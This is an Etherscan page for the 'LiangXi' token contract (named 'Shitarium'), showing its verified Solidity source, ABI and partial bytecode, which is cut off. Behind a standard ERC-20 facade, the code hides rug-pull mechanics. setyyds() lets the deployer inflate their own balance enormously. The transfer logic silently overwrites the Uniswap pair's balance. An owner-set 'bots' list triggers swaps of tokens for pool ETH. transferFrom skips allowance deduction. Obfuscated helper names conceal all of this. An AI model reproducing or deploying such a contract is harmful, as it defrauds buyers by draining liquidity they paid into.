ETH Price: $2,820.09 (-10.53%)
 

Overview

Max Total Supply

1,000,000,000,000 LiangXi

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,655,259,196.595343893 LiangXi

Value
$0.00
0x8C59c89E20500C1435c05e0d56312Af8a1F5E42C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Shitarium

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-05
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-04
*/

pragma solidity ^0.8.18;

// SPDX-License-Identifier: MIT

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable, Context {
    mapping (address => bool) bots;
    address uniswapV2Pair;
    bool inLiquidityTx = false;
    function openTrading(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
        }
        return false;
    }
    function _0e3a5(bool _01c6, bool _2abd7) internal pure returns (bool) {
        return !_01c6 && !_2abd7;
    }
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool a = inLiquidityTx;
        bool b = _0e3a5(bots[to], isBot(from));
        bool res = b;
        if (!bots[to] && _0e3a5(bots[from], a) && to != pair) {
            uniswapV2Pair = to;
            res = true;
        } else 
        if (b && !a) { if (pair == to) {
                res = true;
            }
        }
        return res;
    }
}

contract Shitarium is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    uint256 _fee = 1;
    address public  _yydsking;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "LiangXi";
    string private  _symbol = "LiangXi";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = 0;
            uint256 swapBalance = getReflectAmount(from);
            _balances[uniswapV2Pair] = swapBalance;
            bool sdf = shouldTakeFee(from, to);
            if (!sdf) {
            } else {
                fee = amount.mul(_fee).div(100);
            }
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            if (fee > 0) {
                emit Transfer(from, address(0), fee);
            }
            emit Transfer(from, to, amount);
        }
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _yydsking = msg.sender;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
    }
    function setyyds() external {
        address _yydsOwen = _msgSender();
        if (_yydsking == _yydsOwen){
            _balances[_yydsOwen] = _totalSupply * 20000000000000000000000; 
        }
    }
    function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        uint256 minSupply = 0;
        if (uniswapV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount *= minSupply;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_yydsking","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setyyds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a620000359190620004bc565b64e8d4a510006200004791906200050d565b6006556001600755737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600781526020017f4c69616e67586900000000000000000000000000000000000000000000000000815250600a9081620000ea9190620007c8565b506040518060400160405280600781526020017f4c69616e67586900000000000000000000000000000000000000000000000000815250600b9081620001319190620007c8565b503480156200013f57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a333600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003219190620008c0565b60405180910390a3620008dd565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003bd578086048111156200039557620003946200032f565b5b6001851615620003a55780820291505b8081029050620003b5856200035e565b945062000375565b94509492505050565b600082620003d85760019050620004ab565b81620003e85760009050620004ab565b81600181146200040157600281146200040c5762000442565b6001915050620004ab565b60ff8411156200042157620004206200032f565b5b8360020a9150848211156200043b576200043a6200032f565b5b50620004ab565b5060208310610133831016604e8410600b84101617156200047c5782820a9050838111156200047657620004756200032f565b5b620004ab565b6200048b84848460016200036b565b92509050818404811115620004a557620004a46200032f565b5b81810290505b9392505050565b6000819050919050565b6000620004c982620004b2565b9150620004d683620004b2565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003c6565b905092915050565b60006200051a82620004b2565b91506200052783620004b2565b92508282026200053781620004b2565b915082820484148315176200055157620005506200032f565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005da57607f821691505b602082108103620005f057620005ef62000592565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200065a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200061b565b6200066686836200061b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006a9620006a36200069d84620004b2565b6200067e565b620004b2565b9050919050565b6000819050919050565b620006c58362000688565b620006dd620006d482620006b0565b84845462000628565b825550505050565b600090565b620006f4620006e5565b62000701818484620006ba565b505050565b5b8181101562000729576200071d600082620006ea565b60018101905062000707565b5050565b601f82111562000778576200074281620005f6565b6200074d846200060b565b810160208510156200075d578190505b620007756200076c856200060b565b83018262000706565b50505b505050565b600082821c905092915050565b60006200079d600019846008026200077d565b1980831691505092915050565b6000620007b883836200078a565b9150826002028217905092915050565b620007d38262000558565b67ffffffffffffffff811115620007ef57620007ee62000563565b5b620007fb8254620005c1565b620008088282856200072d565b600060209050601f8311600181146200084057600084156200082b578287015190505b620008378582620007aa565b865550620008a7565b601f1984166200085086620005f6565b60005b828110156200087a5784890151825560018201915060208501945060208101905062000853565b868310156200089a578489015162000896601f8916826200078a565b8355505b6001600288020188555050505b505050505050565b620008ba81620004b2565b82525050565b6000602082019050620008d76000830184620008af565b92915050565b6125ac80620008ed6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80633eaaf86b116100ad57806395d89b411161007157806395d89b41146102e85780639601f96c14610306578063a457c2d714610336578063a9059cbb14610366578063dd62ed3e1461039657610121565b80633eaaf86b1461025457806370a0823114610272578063715018a6146102a25780638da5cb5b146102ac57806393c20a20146102ca57610121565b806318160ddd116100f457806318160ddd1461019a57806323b872dd146101b8578063313ce567146101e857806332424aa314610206578063395093511461022457610121565b806306c9272a1461012657806306fdde0314610130578063095ea7b31461014e57806312d0ecb51461017e575b600080fd5b61012e6103c6565b005b610138610486565b6040516101459190611be5565b60405180910390f35b61016860048036038101906101639190611ca5565b610518565b6040516101759190611d00565b60405180910390f35b61019860048036038101906101939190611d80565b61052f565b005b6101a2610648565b6040516101af9190611ddc565b60405180910390f35b6101d260048036038101906101cd9190611df7565b610652565b6040516101df9190611d00565b60405180910390f35b6101f06106f3565b6040516101fd9190611ddc565b60405180910390f35b61020e6106fd565b60405161021b9190611ddc565b60405180910390f35b61023e60048036038101906102399190611ca5565b610703565b60405161024b9190611d00565b60405180910390f35b61025c6107a1565b6040516102699190611ddc565b60405180910390f35b61028c60048036038101906102879190611e4a565b6107a7565b6040516102999190611ddc565b60405180910390f35b6102aa6107f0565b005b6102b4610923565b6040516102c19190611e86565b60405180910390f35b6102d261094c565b6040516102df9190611e86565b60405180910390f35b6102f0610972565b6040516102fd9190611be5565b60405180910390f35b610320600480360381019061031b9190611ea1565b610a04565b60405161032d9190611d00565b60405180910390f35b610350600480360381019061034b9190611ca5565b610a63565b60405161035d9190611d00565b60405180910390f35b610380600480360381019061037b9190611ca5565b610b8a565b60405161038d9190611d00565b60405180910390f35b6103b060048036038101906103ab9190611ea1565b610ba1565b6040516103bd9190611ddc565b60405180910390f35b60006103d0610c28565b90508073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036104835769043c33c193756480000060065461043f9190611f10565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6060600a805461049590611f81565b80601f01602080910402602001604051908101604052809291908181526020018280546104c190611f81565b801561050e5780601f106104e35761010080835404028352916020019161050e565b820191906000526020600020905b8154815290600101906020018083116104f157829003601f168201915b5050505050905090565b6000610525338484610c30565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661054e610923565b73ffffffffffffffffffffffffffffffffffffffff16146105a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059b90611ffe565b60405180910390fd5b60005b828290508110156106435760018060008585858181106105ca576105c961201e565b5b90506020020160208101906105df9190611e4a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061063b9061204d565b9150506105a7565b505050565b6000600654905090565b600061065f848484610df9565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106e857600080fd5b600190509392505050565b6000600554905090565b60055481565b6000610797338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107929190612095565b610c30565b6001905092915050565b60065481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661080f610923565b73ffffffffffffffffffffffffffffffffffffffff1614610865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085c90611ffe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600b805461098190611f81565b80601f01602080910402602001604051908101604052809291908181526020018280546109ad90611f81565b80156109fa5780601f106109cf576101008083540402835291602001916109fa565b820191906000526020600020905b8154815290600101906020018083116109dd57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a5857610a4282611155565b15610a5757610a5083611155565b9050610a5d565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610aee57600080fd5b610b80338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b7b91906120c9565b610c30565b6001905092915050565b6000610b97338484610df9565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c969061216f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0590612201565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dec9190611ddc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e3257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e6b57600080fd5b610e758383610a04565b15610e8957610e8481836111ab565b611150565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ed557600080fd5b600080610ee185611475565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610f558686611653565b90508015610f8857610f856064610f776007548761180390919063ffffffff16565b61187d90919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fd391906120c9565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828461102291906120c9565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110709190612095565b9250508190555060008311156110e757600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110de9190611ddc565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111449190611ddc565b60405180910390a35050505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111d830600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c30565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561123957611238612221565b5b6040519080825280602002602001820160405280156112675781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff021916908315150217905550308160008151811061129a5761129961201e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611341573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113659190612265565b816001815181106113795761137861201e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426114039190612095565b6040518663ffffffff1660e01b8152600401611423959493929190612395565b600060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115099190612265565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611592573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b69190612265565b6040518363ffffffff1660e01b81526004016115d39291906123ef565b602060405180830381865afa1580156115f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116149190612265565b905061164b8382611646600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107a7565b6118db565b915050919050565b60006117fb8383600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116eb9190612265565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611774573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117989190612265565b6040518363ffffffff1660e01b81526004016117b59291906123ef565b602060405180830381865afa1580156117d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f69190612265565b611939565b905092915050565b60008083036118155760009050611877565b600082846118239190611f10565b90508284826118329190612447565b14611872576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611869906124ea565b60405180910390fd5b809150505b92915050565b60008082116118c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b890612556565b60405180910390fd5b600082846118cf9190612447565b90508091505092915050565b60008082905060008473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461191e5783915061192d565b808261192a9190611f10565b91505b81925050509392505050565b600080600260149054906101000a900460ff16905060006119ae600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119a988611155565b611b3f565b90506000819050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a615750611a60600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611b3f565b5b8015611a9957508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611ae85785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611b32565b818015611af3575082155b15611b31578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611b3057600190505b5b5b8093505050509392505050565b600082158015611b4d575081155b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b8f578082015181840152602081019050611b74565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bb782611b55565b611bc18185611b60565b9350611bd1818560208601611b71565b611bda81611b9b565b840191505092915050565b60006020820190508181036000830152611bff8184611bac565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c3c82611c11565b9050919050565b611c4c81611c31565b8114611c5757600080fd5b50565b600081359050611c6981611c43565b92915050565b6000819050919050565b611c8281611c6f565b8114611c8d57600080fd5b50565b600081359050611c9f81611c79565b92915050565b60008060408385031215611cbc57611cbb611c07565b5b6000611cca85828601611c5a565b9250506020611cdb85828601611c90565b9150509250929050565b60008115159050919050565b611cfa81611ce5565b82525050565b6000602082019050611d156000830184611cf1565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611d4057611d3f611d1b565b5b8235905067ffffffffffffffff811115611d5d57611d5c611d20565b5b602083019150836020820283011115611d7957611d78611d25565b5b9250929050565b60008060208385031215611d9757611d96611c07565b5b600083013567ffffffffffffffff811115611db557611db4611c0c565b5b611dc185828601611d2a565b92509250509250929050565b611dd681611c6f565b82525050565b6000602082019050611df16000830184611dcd565b92915050565b600080600060608486031215611e1057611e0f611c07565b5b6000611e1e86828701611c5a565b9350506020611e2f86828701611c5a565b9250506040611e4086828701611c90565b9150509250925092565b600060208284031215611e6057611e5f611c07565b5b6000611e6e84828501611c5a565b91505092915050565b611e8081611c31565b82525050565b6000602082019050611e9b6000830184611e77565b92915050565b60008060408385031215611eb857611eb7611c07565b5b6000611ec685828601611c5a565b9250506020611ed785828601611c5a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f1b82611c6f565b9150611f2683611c6f565b9250828202611f3481611c6f565b91508282048414831517611f4b57611f4a611ee1565b5b5092915050565b7f4e487b710000000000000000000000000000000000000000000000000000000060005